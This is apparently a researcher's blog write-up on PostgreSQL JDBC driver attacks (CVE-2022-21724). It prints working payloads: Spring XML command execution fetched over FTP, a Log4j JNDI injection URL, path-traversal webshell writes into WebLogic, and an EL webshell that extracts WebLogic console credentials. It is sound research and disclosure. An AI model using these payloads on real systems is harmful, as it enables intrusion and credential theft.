0x00 背景
我在HITB Singapore 2021上做过一次关于JDBC攻击面的分享,议题为《Make JDBC Attacks Brilliant Again》
如果有兴趣可以看看,slide地址
https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf
去年的分享议题里没有涉及到PostgreSQL数据库,然而最近出现了PostgreSQL JDBC Driver的相关漏洞。特地做个总结,也算是《Make JDBC Attacks Brilliant Again》议题的番外篇。
最近新开的星球分享知识,也欢迎大家加入『攻防二象性』
0x01 PostgreSQL JDBC Driver远程命令执行(CVE-2022-21724)
和其它数据库的JDBC Driver一样,PostgreSQL JDBC Driver也支持很多property,先看CVE-2022-21724
里用到的第一组property
a. socketFactory / socketFactoryArg
官方文档介绍
搭建环境了解下调用过程,用的是PostgreSQL Driver Version: 42.3.1
版本,为方便阅读,加了一行显示版本:
System.out.println("PostgreSQL Driver Version: " + org.postgresql.Driver.class.getPackage().getImplementationVersion());
先把参数值置空,执行后看抛出的异常
根据抛出的异常,直接把断点打在getSocketFactory()
处
接着进入ObjectFactory.instantiate()
到这可知,socketFactory实例化一个类,它的构造方法只有一个参数且是String类型。因此只要找到一个符合这样条件的类即可,直接想到的就是这个老演员
- org.springframework.context.support.ClassPathXmlApplicationContext
- org.springframework.context.support.FileSystemXmlApplicationContext
通过以上任意一个类,加载以下XML文件即可
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>open</value>
<value>-a</value>
<value>calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
启动FTP Server
python3 -m pyftpdlib -d .
验证结果
这里也有同学会想到使用java.io.FileOutputStream
配合../../
去清空任意文件,这里我创建一个空文件test.log
b. sslFactory / sslFactoryArg
官方文档介绍
其实和socketFactory
, socketFactoryArg
差不多,只是多了对SSL加密的判断,可以看到建连后收到的请求以S
开头则表示SSL是成功支持的,则进入SSLSocketFactory()
接着就会来到SSLSocketFactory
到这里其实和之前的逻辑已经是一样了,就不再赘述。因此只要在建立连接后返回S
,就会顺利触发
c. Weblogic Server远程代码执行
之前我们提到了这个类
- org.springframework.context.support.FileSystemXmlApplicationContext
在Weblogic Server环境下,有相同的实现类
- com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
需要注意的是必须同时存在这两个jar包(默认存在)
所以构造出PoC
jdbc:postgresql://127.0.0.1:5432/testdb?&socketFactory=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=ftp://127.0.0.1:2121/bean.xml
验证结果
0x02 PostgreSQL JDBC Driver任意文件写入
a. loggerLevel / loggerFile
官方文档介绍
所以可以写成这样
jdbc:postgresql://localhost:5432/testdb?loggerLevel=TRACE&loggerFile=pgjdbc.log
b. Apache Log4j2 日志注入
可以明确的是即使PostgreSQL数据库连接错误,所有连接数据库过程中日志都会被记录到指定的文件里,那么可以注入Apache Log4j2的payload在JDBC URL里达到日志污染的目的
jdbc:postgresql://localhost:5432/${jndi:ldap://127.0.0.1:1389/eajmgl}?loggerLevel=TRACE&loggerFile=pgjdbc.log
当使用Apache Log4j2组件读取被污染的日志时,即可能会触发远程命令执行
c. Weblogic Server写入一句话Webshell
这里我为了方便查看,使用了一个property ApplicationName
,其实用不用无所谓
写入Webshell,首先都会尝试用JSP的一句话,目标路径就是../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/
初步构造就是这样
jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=<%Runtime.getRuntime().exec("open -a calculator")};%>&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp
看下能不能成功,结果直接抛出异常,这里会把JSP中的%和后面2个字符%Ru
做URLDecoder()
的操作,异常信息
Could not establish a connection because of java.lang.IllegalArgumentException: URLDecoder: Illegal hex characters in escape (%) pattern - For input string: "Ru"<br/>
想到可以用EL表达式替代JSP,从而绕过%被过度解码导致无法解决JSP的问题。不过需要注意的是Servlet<=2.3版本默认不支持EL表达式,而之后的版本是默认开启的。那么就需要确认Weblogic Server内置了的Servlet版本,我用的是Weblogic Server14内置的是Servlet 4.0的版本
到此条件都具备了,就可以这么写
jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=${Runtime.getRuntime().exec("open -a calculator")}&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/calc.jsp
直接访问写入的Webshell,成功弹出计算器
d. Weblogic Server写入密码记录Webshell
上面我们已经成功使用EL表达式替换了JSP,但是EL表达式有局限性,比如:不能做变量赋值操作。只能借助EL表达式自定义的隐式对象了,先想到的就是pageContext
pageContext
是javax.servlet.jsp.PageContext
类的实例对象,用来代表整个JSP页面范围, pageContext
的setAttribute()
方法设置属性,pageContext
的getAttribute()
方法获取属性,如果没用指定作用域,按照page→request→session→application
的顺序指定,默认作用域是page
,pageContext
对象本身也属于page
作用域。
如果清楚以上相关的知识,配合着反射调用就可以达到想要的目的。所以最终写成
jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=${pageContext.setAttribute("classLoader",Thread.currentThread().getContextClassLoader());pageContext.setAttribute("httpDataTransferHandler",pageContext.getAttribute("classLoader").loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHandler"));pageContext.setAttribute("managementService", pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.ManagementService"));pageContext.setAttribute("authenticatedSubject",pageContext.getAttribute("classLoader").loadClass("weblogic.security.acl.internal.AuthenticatedSubject"));pageContext.setAttribute("propertyService",pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.PropertyService"));pageContext.setAttribute("KERNE_ID",pageContext.getAttribute("httpDataTransferHandler").getDeclaredField("KERNE_ID"));pageContext.getAttribute("KERNE_ID").setAccessible(true);pageContext.setAttribute("getPropertyService",managementService.getMethod("getPropertyService",pageContext.getAttribute("authenticatedSubject")));pageContext.getAttribute("getPropertyService").setAccessible(true);pageContext.setAttribute("prop",pageContext.getAttribute("getPropertyService").invoke(null,pageContext.getAttribute("KERNE_ID").get((null))));pageContext.setAttribute("getTimestamp1",propertyService.getMethod("getTimestamp1"));pageContext.getAttribute("getTimestamp1").setAccessible(true);pageContext.setAttribute("getTimestamp2",propertyService.getMethod("getTimestamp2"));pageContext.getAttribute("getTimestamp2").setAccessible(true);pageContext.setAttribute("username", pageContext.getAttribute("getTimestamp1").invoke(pageContext.getAttribute("prop")));pageContext.setAttribute("password",pageContext.getAttribute("getTimestamp2").invoke(pageContext.getAttribute("prop")));pageContext.getAttribute("username").concat("/").concat(pageContext.getAttribute("password"))}&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/passwd.jsp
最终访问写入的Webshell,成功拿到Weblogic Server控制台的登录用户名和密码
0x03 写在最后
JDBC因为Java语言的影响力被广泛使用,又因为它的广泛使用导致出现漏洞后影响很大,尤其是云计算场景广泛应用的今天,JDBC的可控变得简单。写此文章分享下自己的总结,也希望有兴趣的人可以随着我曾经的思路继续研究下去,Make JDBC Attacks Brilliant Again!